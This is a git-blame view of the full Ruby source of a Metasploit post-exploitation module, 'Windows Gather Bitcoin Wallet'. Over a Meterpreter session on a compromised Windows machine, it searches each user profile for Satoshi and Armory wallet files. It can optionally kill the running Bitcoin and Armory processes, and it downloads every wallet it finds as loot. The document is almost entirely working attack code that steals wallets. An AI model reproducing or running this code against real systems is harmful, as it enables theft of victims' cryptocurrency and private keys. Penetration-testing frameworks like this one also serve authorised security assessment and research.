Files
metasploit-gs/modules/post/windows/gather/bitcoin_jacker.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

124 lines
3.7 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::UserProfiles
include Msf::Post::File
2021-09-10 12:53:39 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Bitcoin Wallet',
'Description' => %q{
This module downloads any Bitcoin wallet files from the target
system. It currently supports both the classic Satoshi wallet and the
more recent Armory wallets. Note that Satoshi wallets tend to be
unencrypted by default, while Armory wallets tend to be encrypted by default.
},
'License' => MSF_LICENSE,
'Author' => [
'illwill <illwill[at]illmob.org>', # Original implementation
'todb' # Added Armory support
],
'Platform' => [ 'win' ], # TODO: Several more platforms host Bitcoin wallets...
2021-10-06 13:43:31 +01:00
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_process_get_processes
stdapi_sys_process_kill
]
}
}
2021-09-10 12:53:39 +01:00
)
)
2013-12-29 13:07:43 -06:00
register_options([
OptBool.new('KILL_PROCESSES', [false, 'Kill associated Bitcoin processes before jacking.', false]),
])
end
def run
2023-02-08 13:47:34 +00:00
print_status('Checking all user profiles for Bitcoin wallets...')
2013-12-29 13:07:43 -06:00
found_wallets = false
2023-02-08 13:47:34 +00:00
grab_user_profiles.each do |user|
2013-12-28 18:57:04 -06:00
next unless user['AppData']
2021-09-10 12:53:39 +01:00
2023-02-08 13:47:34 +00:00
bitcoin_wallet_path = user['AppData'] + '\\Bitcoin\\wallet.dat'
2013-12-29 10:59:15 -06:00
next unless file?(bitcoin_wallet_path)
2021-09-10 12:53:39 +01:00
2013-12-29 13:07:43 -06:00
found_wallets = true
jack_wallet(bitcoin_wallet_path)
2023-02-08 13:47:34 +00:00
armory_wallet_path = user['AppData'] + '\\Armory'
2013-12-29 13:07:43 -06:00
session.fs.dir.foreach(armory_wallet_path) do |fname|
next unless fname =~ /\.wallet/
2021-09-10 12:53:39 +01:00
2013-12-29 13:07:43 -06:00
found_wallets = true
armory_wallet_fullpath = armory_wallet_path + "\\#{fname}"
jack_wallet(armory_wallet_fullpath)
end
end
unless found_wallets
2023-02-08 13:47:34 +00:00
print_warning 'No wallets found, nothing to do.'
end
end
2013-12-29 13:07:43 -06:00
def jack_wallet(wallet_path)
2023-02-08 13:47:34 +00:00
data = ''
2013-12-29 13:07:43 -06:00
wallet_type = case wallet_path
when /\.wallet$/
:armory
when /wallet\.dat$/
:satoshi
else
:unknown
end
if wallet_type == :unknown
print_error "Unknown wallet type: #{wallet_path}, nothing to do."
return
end
print_status("#{wallet_type.to_s.capitalize} Wallet found at #{wallet_path}")
print_status("Jackin' wallet...")
2013-12-29 13:07:43 -06:00
kill_bitcoin_processes if datastore['KILL_PROCESSES']
begin
2013-12-29 10:15:48 -06:00
data = read_file(wallet_path) || ''
rescue ::Exception => e
2013-12-29 10:15:48 -06:00
print_error("Failed to download #{wallet_path}: #{e.class} #{e}")
return
end
if data.empty?
2023-02-08 13:47:34 +00:00
print_error('No data found, nothing to save.')
else
2013-12-29 10:15:48 -06:00
loot_result = store_loot(
2013-12-29 13:07:43 -06:00
"bitcoin.wallet.#{wallet_type}",
2023-02-08 13:47:34 +00:00
'application/octet-stream',
session,
data,
2013-12-29 10:15:48 -06:00
wallet_path,
2013-12-29 13:07:43 -06:00
"Bitcoin Wallet (#{wallet_type.to_s.capitalize})"
)
2013-12-29 10:15:48 -06:00
print_status("Wallet jacked: #{loot_result}")
end
end
2013-12-29 13:07:43 -06:00
def kill_bitcoin_processes
2023-02-08 13:47:34 +00:00
client.sys.process.get_processes.each do |process|
2013-12-29 10:59:15 -06:00
pname = process['name'].downcase
2023-02-08 13:47:34 +00:00
next unless pname == 'bitcoin.exe' || pname == 'bitcoind.exe' || pname == 'armoryqt.exe'
print_status("#{process['name']} Process Found...")
print_status("Killing Process ID #{process['pid']}...")
session.sys.process.kill(process['pid'])
end
end
end